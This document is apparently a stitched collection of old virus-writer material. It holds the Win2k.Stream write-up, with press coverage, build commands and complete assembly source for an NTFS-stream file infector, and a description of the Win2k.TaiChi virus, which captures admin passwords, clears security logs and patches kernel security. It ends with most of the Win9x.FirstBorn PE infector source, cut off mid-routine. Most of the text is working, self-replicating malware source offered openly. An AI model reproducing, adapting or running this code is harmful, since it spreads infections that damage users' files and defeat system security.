³ Basic principles of NTFS streamz ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
How the file loox? Ya know that the file contains exactly the same what you can
see when you will open it (e.g. in WinCommander). NTFS, implemented by
Windows 2000, has new feature - the file can be divided to streamz. The content
what you can see when you will open the file is called Primary stream - usually
files haven't more than one stream. However, you can create NEW stream ( = new
content) in already existing file without overwritting the content.
Example:
addressing of primary stream -> <filename> e.g. "calc.exe"
addressing of other streamz -> <filename>:<stream name> e.g. "calc.exe:stream"
If you have NTFS, you can test it. Copy to NTFS for instance "calc.exe", and
then create new file "calc.exe:stream" and write there "blahblah". Open
"calc.exe". Whats there? Calculator ofcoz. Now open "calc.exe:stream". Whats
there? "blahblah", the new file in the old one :)
Can you imagine how useful r streamz for virus coding?
The virus infects file by moving the old content to the new stream and replacing
the primary stream with virus code.
File (calc.exe) before infection:
ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄPrimary stream (visible part)Ä¿º
º³ Calculator ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File (calc.exe) after infection:
ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄPrimary stream (calc.exe)Ä¿ÚÄNext stream (calc.exe:STR)Ä¿ º
º³ Virus ³³ Calculator ³ º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Simple and efficent, ain't it?
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Details of virus ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
* The virus infects all EXE files in actual directory.
* The virus uses as already-infected mark file compression. All infected
files are compressed by NTFS and virus then does not infect already
compressed files. Well, almost all files after infection r smaller than
before, so user won't recognize virus by checking free disk space :)
* If user will copy the infected file to non-NTFS partition (in this case
only primary stream is copied), the host program will be destroyed and
instead of running host program virus will show message box. That can
be also called as payload :P
* The virus is very small, exactly 3628 bytes, becoz it's compressed by
Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/).
* The disinfection is very easy - just copy the content of <file>:STR to
<file> and delete <file>:STR. If you want to create sample of infected
file, then just copy the virus to some file and copy any program (host
program) to <file>:STR. Thats all! However, AVerz have to rebuild their
search engine to remove this virus, becoz until now, they had no fucking
idea what are streamz :)
* This virus was coded in Czech Republic by Benny/29A and Ratter, on our
common VX meeting at Ratter's city... we just coded it to show that
Windows 2000 is just another OS designed for viruses... it really is :)
* We would like to thank GriYo for pointing us to NTFS new features.
The fame is also yourz, friend!
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ In the media ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
AVP's description:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is the first known Windows virus using the "stream companion" infection
method. That method is based on an NTFS feature that allows to create multiple
data streams associated with a file.
*NTFS Streams*
---------------
Each file contains at least one default data stream that is accessed just by
the file name. Each file may also contain additional stream(s) that can be
accessed by their personal names (filename:streamname).
The default file stream is the file body itself (in pre-NTFS terms). For
instance, when an EXE file is executed the program is read from the default
file stream; when a document is opened, its content is also read from the
default stream.
Additional file streams may contain any data. The streams cannot be accessed or
modified without reference to the file. When the file is deleted, its streams
are deleted as well; if the file is renamed, the streams follow its new name.
In the Windows package there is no standard tool to view/edit file streams. To
"manually" view file streams you need to use special utilities, for instance
the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file
streams for selected file).
*Virus Details*
----------------
The virus itself is a Windows application (PE EXE file) compressed using the
Petite PE EXE file compressor and is about 4K in size. When run it infects all
EXE files in the current directory and then returns control to the host file.
If any error occurs, the virus displays the message:
Win2k.Stream by Benny/29A & Ratter
This cell has been infected by [Win2k.Stream] virus!
While infecting a file the virus creates a new stream associated with the victim
file. That stream has the name "STR", i.e. the complete stream name is
"FileName:STR". The virus then moves the victim file body to the STR stream
(default stream, see above) and then overwrites the victim file body (default
stream) with its (virus) code.
As a result, when an infected file is executed Windows reads the default stream
(which is overwritten by virus code) and executes it. Also, Windows reports the
same file size for all infected files - that is the virus length.
To release control to the host program the virus just creates a new process by
accessing the original file program using the name "FileName:STR".
That infection method should work on any NTFS system, but the virus checks the
system version and runs only under Win2000.
AVP's press release:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
*A New Generation of Windows 2000 Viruses is Streaming Towards PC Users*
------------------------------------------------------------------------
Moscow, Russia, September 4, 2000 Kaspersky Lab announces the discovery of
W2K.Stream virus, which represents a new generation of malicious programs for
Windows 2000. This virus uses a new breakthrough technology based on the
"Stream Companion" method for self-embedding into the NTFS file system.
The virus originates from the Czech Republic and was created at the end of
August by the hackers going by the pseudonyms of Benny and Ratter. To date,
Kaspersky Lab has not registered any infections resulting from this virus;
however, its working capacity and ability for existence "in-the-wild" are
unchallenged.
"Certainly, this virus begins a new era in computer virus creation," said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The Stream
Companion technology the virus uses to plant itself into files makes its
detection and disinfection extremely difficult to complete.
Unlike previously known methods of file infection (adding the virus body at
beginning, ending or any other part of a host file), the "Stream" virus
exploits the NTFS file system (Windows NT/2000) feature, which allows multiple
data streams. For instance, in Windows 95/98 (FAT) files, there is only one
data stream the program code itself. Windows NT/2000 (NTFS) enables users
to create any number of data streams within the file: independent executable
program modules, as well as various service streams (file access rights,
encryption data, processing time etc.). This makes NTFS files very flexible,
allowing for the creation of user-defined data streams aimed at completing
specific tasks.
"Stream" is the first known virus that uses the feature of creating multiple
data streams for infecting files of the NTFS file system (see picture 1). To
complete this, the virus creates an additional data stream named "STR" and
moves the original content of the host program there. Then, it replaces the
main data stream with the virus code. As a result, when the infected program
is run, the virus takes control, completes the replicating procedure and then
passes control to the host program.
*"Stream" file infection procedure*
------------------------------------
File before infection File after infection
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° virus body°°°°°³
³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°program body°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
³±±service streams±±³ ³±±service streams±±³
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
"By default, anti-virus programs check only the main data stream. There will be
no problems protecting users from this particular virus," Eugene Kaspersky
continues. "However, the viruses can move to additional data streams. In this
case, many anti-virus products will become obsolete, and their vendors will be
forced to urgently redesign their anti-virus engines."
In MSNBC's news:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
*New trick can hide computer viruses*
*But experts question danger posed by Stream technology*
-----------------------------------------------------------
Sept. 6 A new kind of computer virus has been released, but security experts
are in disagreement over just how menacing it is. The virus demonstrates a
technique that future writers can use to hide their malicious software from
most current antivirus scanners. But some antivirus companies are playing down
the threat.
THE VIRUS, CALLED W2K.STREAM, poses little threat it was written as a
relatively benign proof of concept. But, according to a source who requested
anonymity, it was posted on several virus writer Web sites over Labor Day
weekend making copycats possible.
The virus takes advantage of a little-used feature included in Windows 2000 and
older Windows NT systems that allows programs to be split into pieces called
streams. Generally, the body of a program resides in the main stream. But other
streams can be created to store information related to whats in the main
stream. Joel Scambray, author of Hacking Exposed, described these additional
streams as Post-it notes attached to the main file.
The problem is that antivirus programs only examine the main stream. W2K.Stream
demonstrates a programmers ability to create an additional stream and hide
malicious code there.
Certainly, this virus begins a new era in computer virus creation, said
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press
release. The Stream Companion technology the virus uses to plant itself into
files makes its detection and disinfection extremely difficult to complete.
*THIS BUG ISNT DANGEROUS*
---------------------------
No W2K.stream infections have been reported, and experts dont believe the
virus is in the wild circulating on the Internet yet. At any rate, this
virus actually makes things easy for antivirus companies. If a user is
infected, the program creates an alternate stream and places the legitimate
file in this alternate location; the virus replaces it as the main stream. That
makes detection by current antivirus products easy. But future viruses could
do just the opposite, evading current antivirus products.
One antivirus researcher who requested anonymity called release of the bug
somewhat akin to the first macro virus. He added that reengineering antivirus
software to scan for multiple streams would be a complicated effort.
In this case, many anti-virus products will become obsolete, and their vendors
will be forced to urgently redesign their anti-virus engines, Kaspersky said.
*AN OLD ISSUE*
---------------
There is nothing new about the potential of exploiting the multiple stream
issue; Scambray hints at the problem in the book “Hacking Exposed,” and
described it even more explicitly in a 1998 Infoworld.com article.
The SANS Institute, a group of security researchers, issued an alert
criticizing antivirus companies for not updating their products to scan the
contents of any file stream earlier.
We found that the scanners were incapable of identifying viruses stored within
an alternate data stream, the report said. For example if you create the file
MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within
the alternate data stream file, none of the tested virus scanners were capable
of finding the virus during a complete disk scan.
But some antivirus companies described the threat as minimal because the
alternate stream trick only hides the bug while its stored on a victims
computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp.,
said for the virus to actually run, it has to come out of hiding and load into
main memory.
It would be detected as it tried to activate, Palomaki said. But this
signifies importance of real-time protection. He added the virus would still
have to find its way onto a victims computer; and that victim would have to
be tricked into installing the virus using one of the traditional methods,
such as clicking on an infected e-mail attachment.
It could increase the ability to for scanners to miss something, said Pat
Nolan, virus researcher at McAfee Corp. But were on top of it. If there is
a vulnerability, it will be short-lived.
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ How to compile it? ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/).
tasm32 /ml /m9 /q stream
tlink32 -Tpe -c -x -aa stream,,,import32
pewrsec stream.exe
petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe
And here comes the virus source...
#
.586p
.model flat,stdcall
include win32api.inc ;include filez
include useful.inc
extrn ExitProcess:PROC ;used APIz
extrn VirtualFree:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn WinExec:PROC
extrn GetCommandLineA:PROC
extrn GetModuleFileNameA:PROC
extrn DeleteFileA:PROC
extrn ReadFile:PROC
extrn CopyFileA:PROC
extrn WriteFile:PROC
extrn CreateFileA:PROC
extrn CloseHandle:PROC
extrn MessageBoxA:PROC
extrn GetFileSize:PROC
extrn VirtualAlloc:PROC
extrn DeviceIoControl:PROC
extrn GetFileAttributesA:PROC
extrn GetTempFileNameA:PROC
extrn CreateProcessA:PROC
extrn GetVersion:PROC
FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2
;compression flag
STARTUPINFO STRUCT ;used by CreateProcessA API
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
@pushvar macro variable, empty ;macro for pushing variablez
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
.data
extExe db '*.exe',0 ;search mask
fHandle dd ? ;file search handle
file_name db MAX_PATH dup(?) ;actual program name
db MAX_PATH dup(?)
file_name2 db MAX_PATH dup(?) ;temprorary file
db 4 dup (?)
WFD WIN32_FIND_DATA ? ;win32 find data
proc_info PROCESS_INFORMATION <> ;used by CreateProcessA
startup_info STARTUPINFO <> ;...
.code
Start: ;start of virus
call GetVersion ;get OS version
cmp al,5 ;5 = Win2000
jnz msgBox ;quit if not Win2000
mov edi,offset file_name
push MAX_PATH
push edi
push 0
call GetModuleFileNameA ;get path+filename of actual
;program
push offset WFD
push offset extExe
call FindFirstFileA ;find first file to infect
test eax,eax
jz end_host
mov [fHandle],eax ;save handle
search_loop:
call infect ;try to infect file
push offset WFD
push dword ptr [fHandle]
call FindNextFileA ;try to find next file
test eax,eax
jne search_loop ;and infect it
push dword ptr [fHandle]
call FindClose ;close file search handle
end_host:
mov esi,offset file_name ;get our filename
push esi
@endsz
dec esi
mov edi,esi
mov eax,"RTS:" ;append there :"STR" stream
stosd ;name
pop esi
call GetCommandLineA ;get command line
xchg eax,edi ;to EDI
;esi - app name
;edi - cmd line
xor eax,eax
push offset proc_info
push offset startup_info
push eax
push eax
push eax
push eax
push eax
push eax
push edi
push esi
call CreateProcessA ;jump to host code
xchg eax,ecx
jecxz msgBox ;if error, show message box
end_app:
push 0
call ExitProcess ;exit
msgBox: push 1000h ;show some lame msg box :)
@pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :]
@pushsz "This cell has been infected by [Win2k.Stream] virus!"
push 0 ;with name of virus and authorz
call MessageBoxA
jmp end_app
infect: push offset [WFD.WFD_szFileName]
call GetFileAttributesA ;check if the file is NTFS
test eax,800h ;compressed = already infected
jz next_infect
ret ;quit then
next_infect:
push offset [WFD.WFD_szFileName]
mov byte ptr [flagz],OPEN_EXISTING
call Create_File ;open found program
jz infect_end
xor eax,eax
push eax
@pushvar <dd ?>
push eax
push eax
push 4
@pushvar <dd 1> ;default compression
push FSCTL_SET_COMPRESSION
push ebx ;NTFS compress it =
call DeviceIoControl ;mark as already infected
; = and save disk space :)
push ebx
call CloseHandle ;close file handle
mov esi,offset file_name2
push esi
push 0
@pushsz "str"
@pushsz "."
call GetTempFileNameA ;create name for temp file
test eax,eax
jz infect_end
mov edi,offset [WFD.WFD_szFileName]
push 0
push esi
push edi
call CopyFileA ;copy there victim program
test eax,eax
jz infect_end
push 0
push edi
push offset file_name
call CopyFileA ;copy ourself to victim program
push esi
mov esi,edi
@endsz
xchg esi,edi
dec edi
mov eax,"RTS:" ;append :"STR" stream to
stosd ;victim program filename
xor al,al
stosb
call Create_File ;open victim file
jz infect_end
push 0
push ebx
call GetFileSize ;get its size
xchg eax,edi
push PAGE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push edi
push 0
call VirtualAlloc ;allocate enough memory
test eax,eax ;for file content
jz infect_end_handle
xchg eax,esi
xor eax,eax
push eax
@pushvar <file_size dd ?>
push edi
push esi
push ebx
call ReadFile ;read file content to
test eax,eax ;allocated memory
jz infect_end_handle
push ebx
call CloseHandle ;close its file handle
push offset file_name2
call DeleteFileA ;delete temporary file
mov byte ptr [flagz],CREATE_ALWAYS
push offset [WFD.WFD_szFileName]
call Create_File ;open stream
jz infect_end_dealloc
push 0
mov ecx,offset file_size
push ecx
push dword ptr [ecx]
push esi
push ebx
call WriteFile ;write there victim program
test eax,eax
jz infect_end_handle
infect_end_handle:
push ebx
call CloseHandle ;close its file handle
infect_end_dealloc:
push MEM_DECOMMIT
push dword ptr [file_size]
push esi
call VirtualFree ;free allocated memory
push MEM_RELEASE
push 0
push esi
call VirtualFree ;release reserved part of mem
infect_end:
ret
; [esp+4] - file_name
Create_File: ;proc for opening file
xor eax,eax
push eax
push eax
db 6ah
flagz db OPEN_EXISTING ;variable file open flag
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
push dword ptr [esp+1ch]
call CreateFileA ;open file
xchg eax,ebx ;handle to EBX
inc ebx ;is EBX -1?
lahf ;store flags
dec ebx ;correct EBX
sahf ;restore flags
retn 4 ;quit from proc
end Start ;end of virus

View File

@ -0,0 +1,31 @@
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Description.TXT]ÄÄÄ
Win2k.TaiChi by Ratter/29A release #1
This virus has some special features which I would like to list here:
- getting kenel base from PEB
- infecting winlogon via which it disables SFP, captures admins
passwords and later uses them when logged in as normal user to
impersonate admin and working under admin privileges
- once runned as admin adds needed privileges to Everyone
- disables auditing, clears security event log
- uses its own routines for infecting PE exe files on NTFS volumes
(ie it accesses NTFS structures to locate and access the file,
bypassing security and via this you can even modify files that are
normally unmodifiable)
- for this it uses emulation of memory mapped files using SEH
- because a proof of concept virus it infects one file in directory
- everything prepared for using procedure encryption and running length
encryption using SEH (routine seh_decode) however not used in this version
- it has a payload: installs own bootvid.dll which disables security (via
SeAccessCheck patching) via patching the NT kernel runtime and displays
29A logo while booting Windows
Todo:
- emulation engine
- add procedure encryption and running line encryption
- more heavily testing under WinXP and possibly adapting
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Description.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Editor]ÄÄÄ
Due the complexity of the source, it has been placed in Binaries folder.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Editor]ÄÄÄ

View File

@ -0,0 +1,542 @@
;
; [ Win9x.FirstBorn Vorgon ]
; [ 2560 bytes Target - PE ]
; [ 08/10/02 Made in Canada ]
;
;
;
;
; [ Introduction ]
;
; After three or four years of programming in asm i decided i was ready for
; somthing more challenging. Virus programming had always interested me so
; i went searching for a group that would teach me the basics. I found the
; group iKX, and T00FiC showed me how to make my first virus which i call
; FirstBorn. Its a sucky virus and would never survive in the wild, i only
; made it for learning purposes.
;
; [ The Infection ]
;
; FirstBorn is a simple PE infector. It only works on Win9x because i could
; not get the exception handling part of the Kernel finder working. So it
; just assumes the kernel is located at 0BFF70000. I will have this function
; working in my next virus and then it can infect NT and 2k. Below is
; a break down of what the virus does:
;
; - Get the delta offset and save the starting location of the virus
; - Save registers incase the host program needs them
; - Use the GetFunctionAddress procedure to get the kernel32 api function
; addreses i need.
; - Call the FindHostFile procedure to find a valid PE file to infect.
; - Call the GetHeader procedure which reads the PE header into memory
; - Call the AddCodeToHost procedure which does many things:
; - Writes this program in memory to the end of the host file
; - Updates the last section header to include all the data
; up to the EOF, Updates its virtual size, and makes it
; Readable/Writable/Executable
; - Updates the program image size
; - Sets the entry point to the virus code
; - Adds a signature to location 79h to stop another infection
; - Call PutHeader procedure which writes the updated PE Header to the host
; - Restore registers for the host program
; - Returns control to the host program
;
;
; [ Assembling ]
;
; tasm32 /ml 1born
; tlink32 -x /Tpe /c 1born,1born
; editbin /SECTION:CODE,rwe 1born.exe
;
;
.386p
.model flat, stdcall
extrn ExitProcess : PROC
.DATA
dd 0
.CODE
Main:
;----------------------------------------------------------------------------
; Get delta offset and the start location of the virus in memory
;----------------------------------------------------------------------------
push ebp
call GetDeltaPointer
GetDeltaPointer:
pop ebp
sub ebp, offset GetDeltaPointer
Call SaveRegisters
mov [ebp+StartOfCode], ebp
lea eax, GetDeltaPointer
add [ebp+StartOfCode], eax
sub [ebp+StartOfCode], 6 ;get the start address of virus in memory
mov eax, [ebp+HEP2] ;Set the return to host address
mov [ebp+HostEntryPoint], eax
;----------------------------------------------------------------------------
; Virus Data
;----------------------------------------------------------------------------
jmp JumpOverData
StartOfCode dd 0
VirusSignature dd 0DEADBEEFh
Handle dd 0
NumberOfBytesRead dd 0
PE_Header db 248 dup(0)
LocationOfHeader dd 0
SearchString db 'c:\windows\*.EXE',0
FindHandle dd 0
Win32_Find_Data:
FileAttributes dd 0
CreateTime dq 0
LastAccessTime dq 0
LastWriteTime dq 0
FileSizeHigh dd 0
FileSizeLow dd 0
Reserved0 dd 0
Reserved1 dd 0
FullFileName db 260 dup(0)
AlternateFileName db 14 dup(0)
SectionHeader:
ANSI_Name db 8 dup(0)
VirtualSize dd 0
VirtualAddress dd 0
SizeOfRawData dd 0
PointerToRawData dd 0
PointerToRelocs dd 0
PointerToLinNums dd 0
NumberOfRelocs dw 0
NumberOfLineNums dw 0
Characteristics dd 0
Kernel32Address dd 0BFF70000h
szCreateFileA db 'CreateFileA',0
_CreateFileA dd 0
szWriteFile db 'WriteFile',0
_WriteFile dd 0
szCloseHandle db 'CloseHandle',0
_CloseHandle dd 0
szReadFile db 'ReadFile',0
_ReadFile dd 0
szSetFilePointer db 'SetFilePointer',0
_SetFilePointer dd 0
szFindFirstFileA db 'FindFirstFileA',0
_FindFirstFileA dd 0
szFindNextFileA db 'FindNextFileA',0
_FindNextFileA dd 0
szFindClose db 'FindClose',0
_FindClose dd 0
loc dd 0
loc2 dd 0
HostEntryPoint dd 0
HEP2 dd 00401000h
_EBP dd 0
_EDI dd 0
_ESI dd 0
_EAX dd 0
_EBX dd 0
_ECX dd 0
_EDX dd 0
FirstGeneration dd 1
JumpOverData:
;----------------------------------------------------------------------------
; Get the required API function addresses from the Kernel32.dll
;----------------------------------------------------------------------------
lea esi, [ebp+szCreateFileA]
call GetFunctionAddress
mov [ebp+_CreateFileA], eax
lea esi, [ebp+szWriteFile]
call GetFunctionAddress
mov [ebp+_WriteFile], eax
lea esi, [ebp+szCloseHandle]
call GetFunctionAddress
mov [ebp+_CloseHandle], eax
lea esi, [ebp+szReadFile]
call GetFunctionAddress
mov [ebp+_ReadFile], eax
lea esi, [ebp+szSetFilePointer]
call GetFunctionAddress
mov [ebp+_SetFilePointer], eax
lea esi, [ebp+szFindFirstFileA]
call GetFunctionAddress
mov [ebp+_FindFirstFileA], eax
lea esi, [ebp+szFindNextFileA]
call GetFunctionAddress
mov [ebp+_FindNextFileA], eax
lea esi, [ebp+szFindClose]
call GetFunctionAddress
mov [ebp+_FindClose], eax
;----------------------------------------------------------------------------
; Main
;----------------------------------------------------------------------------
Call FindHostFile ;Find an exe to infect
cmp eax, 0FFFFFFFFh
je BackToHost
lea eax, [ebp+FullFileName] ;Open it
mov ebx, 0C0000000h
call OpenFile
cmp eax, 0FFFFFFFFh
je BackToHost
call GetHeader ;Get its PE header
call AddCodeToHost ;Add virus to it
call PutHeader ;Write the updated PE header
;to it
mov eax, [ebp+Handle]
call CloseFile ;Close it
BackToHost:
cmp dword ptr [ebp+FirstGeneration], 1
je Exit
mov eax, dword ptr [ebp+HostEntryPoint]
push eax
Call RestoreRegisters
ret ;return to host
Exit:
push 0
Call ExitProcess
;----------------------------------------------------------------------------
; General Procedures
;----------------------------------------------------------------------------
SaveRegisters PROC
mov [ebp+_EDI], edi
mov [ebp+_ESI], esi
mov [ebp+_EBX], ebx
mov [ebp+_ECX], ecx
mov [ebp+_EDX], edx
pop eax
pop ebx
mov [ebp+_EBP], ebx
push eax
ret
SaveRegisters ENDP
RestoreRegisters PROC
mov edi, [ebp+_EDI]
mov esi, [ebp+_ESI]
mov ebx, [ebp+_EBX]
mov ecx, [ebp+_ECX]
mov edx, [ebp+_EDX]
mov ebp, [ebp+_EBP]
ret
RestoreRegisters ENDP
AddCodeToHost PROC
push dword ptr [ebp+FirstGeneration]
mov dword ptr [ebp+FirstGeneration], 0
mov eax, dword ptr [ebp+PE_Header+40]
add eax, dword ptr [ebp+PE_Header+52] ;add image base
mov [ebp+HEP2], eax ;Save original entry point
mov eax, 0
mov ebx, 2
Call SeekData ;Seek to EOF
mov [ebp+loc], eax
add [ebp+loc], 2560 ;loc = new EOF
mov eax, [ebp+StartOfCode]
mov ebx, 2560
call PutData ;Write virus to EOF
xor edx, edx
xor eax, eax
mov ax, word ptr [ebp+PE_Header+6]
dec eax
mov ebx, 40
mul ebx
add eax, [ebp+LocationOfHeader]
add eax, 248
mov ebx, 0
Call SeekData ;Seek to the last section header
lea eax, [ebp+SectionHeader]
mov ebx, 40
Call GetData ;Get the last section header
mov eax, dword ptr [ebp+PE_Header+80]
sub eax, [ebp+VirtualSize]
mov dword ptr [ebp+PE_Header+80], eax ;subtract the section size from the image size
mov eax, [ebp+loc]
sub eax, [ebp+PointerToRawData]
mov [ebp+SizeOfRawData], eax ;Update SizeOfRawData
shr eax, 12 ;divide eax by 4096
shl eax, 12 ;multiply eax by 4096
add eax, 8192 ;add 1 - 2k for any unitialized data
mov [ebp+VirtualSize], eax ;Update VirtualSize
mov eax, [ebp+SizeOfRawData]
sub eax, 2560
add eax, [ebp+VirtualAddress]
mov dword ptr [ebp+PE_Header+40], eax ;Set Entry point
mov [ebp+Characteristics], 0E0000020h ;Make Section Executable/Readable/Writable
mov eax, -40
mov ebx, 1
Call SeekData
lea eax, [ebp+SectionHeader]
mov ebx, 40
Call PutData ;Write section header back to file
mov eax, dword ptr [ebp+PE_Header+80]
add eax, [ebp+VirtualSize]
mov dword ptr [ebp+PE_Header+80], eax ;update image size
mov eax, 79h
mov ebx, 0
Call SeekData
lea eax, [ebp+VirusSignature]
mov ebx, 4
Call PutData ;Write Virus Signature to host
;to prevent reinfection
pop dword ptr [ebp+FirstGeneration]
ret
AddCodeToHost ENDP
FindHostFile PROC
lea eax, [ebp+Win32_Find_Data]
lea ebx, [ebp+SearchString]
push eax
push ebx
Call [ebp+_FindFirstFileA]
mov [ebp+FindHandle], eax ;Get First File match
FindHost:
lea eax, [ebp+FullFileName]
mov ebx, 0C0000000h
call OpenFile
cmp eax, 0FFFFFFFFh
je FindNext
mov [ebp+Handle], eax
mov eax, 79h
mov ebx, 0
Call SeekData
lea eax, [ebp+loc]
mov ebx, 4
Call GetData
mov eax, 3Ch
mov ebx, 0
Call SeekData
lea eax, [ebp+loc2]
mov ebx, 4
Call GetData
mov eax, [ebp+loc2]
mov ebx, 0
Call SeekData
lea eax, [ebp+loc2]
mov ebx, 4
Call GetData ;Get PE signature
mov eax, [ebp+Handle]
Call CloseFile
cmp [ebp+loc], 0DEADBEEFh
jne NextCheck ;Already Infected?
je FindNext
NextCheck:
cmp [ebp+loc2], 00004550h ;Valid PE EXE?
je FoundHost
FindNext:
lea eax, [ebp+Win32_Find_Data]
push eax
push [ebp+FindHandle]
Call [ebp+_FindNextFileA]
cmp eax, 0 ;No more exes left
je HostNotFound
jmp FindHost
FoundHost:
push [ebp+FindHandle]
Call [ebp+_FindClose]
ret
HostNotFound:
push [ebp+FindHandle]
Call [ebp+_FindClose]
mov eax, 0FFFFFFFFh
ret
FindHostFile ENDP
GetHeader PROC
mov eax, 3Ch
mov ebx, 0
call SeekData
lea eax, [ebp+LocationOfHeader]
mov ebx, 4
call GetData
mov eax, [ebp+LocationOfHeader]
mov ebx, 0
call SeekData
lea eax, [ebp+PE_Header]
mov ebx, 248
call GetData
ret
GetHeader ENDP
PutHeader PROC
mov eax, 3Ch
mov ebx, 0
call SeekData
lea eax, [ebp+LocationOfHeader]
mov ebx, 4
call GetData
mov eax, [ebp+LocationOfHeader]
mov ebx, 0
call SeekData
lea eax, [ebp+PE_Header]
mov ebx, 248
call PutData
ret
PutHeader ENDP
GetFunctionAddress PROC
mov eax, [ebp+Kernel32Address] ;EAX = Kernel32 Address
mov ebx, [eax+3Ch]
add ebx, eax
add ebx, 120
mov ebx, [ebx]
add ebx, eax ;EBX = Export Address
xor edx, edx
mov ecx, [ebx+32]
add ecx, eax
push esi
push edx
CompareNext:
pop edx
pop esi
inc edx
mov edi, [ecx]
add edi, eax
add ecx, 4
push esi
push edx
CompareName:
mov dl, [edi]
mov dh, [esi]
cmp dl, dh
jne CompareNext
inc edi
inc esi
